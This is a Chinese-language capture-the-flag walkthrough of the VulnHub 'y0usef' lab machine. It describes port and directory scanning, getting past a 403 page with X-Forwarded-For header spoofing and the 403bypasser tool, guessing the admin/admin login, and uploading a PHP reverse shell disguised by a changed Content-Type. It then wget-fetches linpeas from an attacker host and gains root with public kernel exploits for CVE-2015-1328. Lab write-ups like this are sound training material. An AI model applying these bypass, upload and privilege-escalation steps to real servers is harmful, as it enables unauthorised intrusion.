文章目录
靶机地址:https://download.vulnhub.com/y0usef/y0usef.ova
1. 主机发现
目前只知道目标靶机在232.xx网段,通过如下的命令,看看这个网段上在线的主机。
$ nmap -sP 192.168.232.0/24
2. 端口枚举
通过下面的命令枚举一下目标主机的端口。
$ sudo nmap -p- 192.168.232.148
开放的端口比较少,枚举一下服务。
3. 服务枚举
通过下面的命令枚举一下开放端口上的服务。
$ sudo nmap -A -sV -sT -p22,80 192.168.232.148
服务也比较简单,还是手工探查一下。
4. http服务探查
手工通过浏览器打开看一下。
简单的不能再简单的页面,目录枚举一下试试看。
$ dirsearch -u http://192.168.232.148
除了一个/adminstration的页面之外,其它都是403,没法查看。再用gobuster扫描一下试试看。
$ gobuster dir -u http://192.168.232.148 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
扫描结果竟然为空,我也是醉了,再用dirb试试看。
$ dirb http://192.168.232.148 /usr/share/wordlists/dirb/big.txt
扫出来的结果也不是很理想,手工进去看看。
唯一一个有希望的adminstration目录,也是301跳转到Forbidden,直接在这个目录下扫描一下看看。
$ dirsearch -u http://192.168.232.148/adminstration/
继续深入挖掘,也没有发现太有价值的内容。看了一下openssh和apache的EXP,结果也没有发现太合适的。
5. 403绕过
就在我无计可施准备放弃的时候,有大神说可能有办法绕过403。这对我来说有些陌生,之前还真是闻所未闻,本着探索的精神,好好研究了一下。
5.1 403与401的区别
401是Unauthorized,相当于认证失败,比如身份认证失败,token失效等;而403是forbidden,可能是权限不足、服务器做了特殊限定等,跟身份认证没关系。一言以蔽之,401着重在于认证,403着重在于授权。
5.2 可能返回403的情况
从网上查了一下,据说有17种可能返回403的情况,如下图所示。
大佬们总结了一下,导致发生403错误的原因,主要有以下几种:
(1)IP被列入了黑名单;
(2)网页脚本文件在当前目录下没有执行权限;
(3)在不允许写操作的目录下执行了写操作;
(4)以http方式访问了需要ssl连接的路径;
(5)访问次数过多,等会儿再试试。
5.3 绕过403的方法
基于上述这些原因,可以分别采用如下的方式进行绕过。
(1)覆盖请求的URL
(2)通过Referer绕过
(3)代理IP绕过
有时候web服务会通过代理的方式限制前端的访问,这时候可以尝试通过X-Forwarded-For等header设置进行绕过。
这种情况下,可能的选项有X-Originating-IP、X-Remote-IP、X-Client-IP、X-Forwarded-For、X-Forwarded-Host、X-Host、X-Custom-IP-Authorization。
(4)目录扩展绕过
基于一些扩展名、通配符等方式绕过受限制的目录,比如/.、/*、??等等,如下图所示。
5.4 可用的4xx bypass工具
Git上有不少用于绕过403的脚本工具,大家可以自行搜索使用,我这里使用的是 https://github.com/yunemse48/403bypasser.git
。接下来针对前面扫描出的adminstration页面,用脚本绕过一下看看(中间因为机器重启,靶机IP变成了192.168.232.155)。
$ python3 403bypasser.py -u http://192.168.232.155 -d /adminstration
$ python3 403bypasser.py -u http://192.168.232.155 -d /secret
$ python3 403bypasser.py -u http://192.168.232.155 -d /server-status
确实是管用,通过在burpsuite中启动拦截,在请求头中添加X-Forwarded-For然后转发,进入到adminstration页面看看。
哈,是个登录界面,手工试一下看看有没有爆破的可能。
简单试了以下,随便输入用户名密码的时候报错信息都是上图所示,不管了,直接用admin用户挂上rockyou爆破以下试试看。
发现用户名密码都是admin,直接手工进去看看。
登录以后的界面如上图所示,并且看到了貌似有上传文件的入口,如下图所示。
尝试上传之前经常用的带有反弹shell的php脚本,然后去/adminstration/upload/目录下看看。
不允许上传这类文件,修改以下Content-Type类型为image/png试试看。
这次上传成功了,还显示了上传后的文件路径为files/xxxxx,如上图的左上角显示。
在4444端口上建立监听,然后访问以下上述的php文件试试看。
反弹shell建立成功。
6. 提权
先优化一下shell。
$ /usr/bin/python3.4 -c "import pty;pty.spawn('/bin/bash')"
直接用linpeas.sh跑一下试试。
www-data@yousef-VirtualBox:/$ cd /tmp
www-data@yousef-VirtualBox:/tmp$ wget http://192.168.232.129:8000/linpeas.sh
www-data@yousef-VirtualBox:/tmp$ chmod u+x linpeas.sh
www-data@yousef-VirtualBox:/tmp$ sh linpeas.sh
感觉最有可能提权的是如下的三个漏洞,除此之外没有太多发现。
逐个试一下,可是我每次执行都提示“cannot execute binary file: Exec format error”,如下图所示。
上网搜索了一下,说是操作系统位数不正确,即编辑可执行文件的系统和执行可执行文件的系统位数不一致,先枚举一下操作系统信息看看。
www-data@yousef-VirtualBox:/var/www$ uname -a
www-data@yousef-VirtualBox:/var/www$ cat /etc/*-release
www-data@yousef-VirtualBox:/var/www$ getconf LONG_BIT
确实是32位系统,我之前编译的文件都是在64位系统下默认编译的。先在32位ubuntu系统上编译40839.c。
u1401x32@u1401x32-virtual-machine:~/Downloads$ gcc -pthread 40839.c -o 40839 -lcrypt
然后上传到目标靶机执行。
www-data@yousef-VirtualBox:/tmp$ chmod u+x 40839
www-data@yousef-VirtualBox:/tmp$ ./40839
可惜的是执行完了以后挂了,再也访问不了了,重启一下靶机试试看。
可惜一直报permission denied,不知道啥原因;再试试之前的40611.c。
同样的,一执行到这里就会卡住。还有最有一个37292.c,我们也试一下,不行的话,还是按部就班的看一下。
哈,天无绝人之路,利用37292.c貌似是可以提权的,进一步验证一下。
最终确认利用linpeas扫出来的CVE-2015-1328的漏洞成功提权。
7. 获取flag
获取一下flag。
应该这就是个flag,不过感觉这个flag长得有些怪异,像是编码了,尝试base64解码试试。
这下妥妥的了,成功获取flag明文。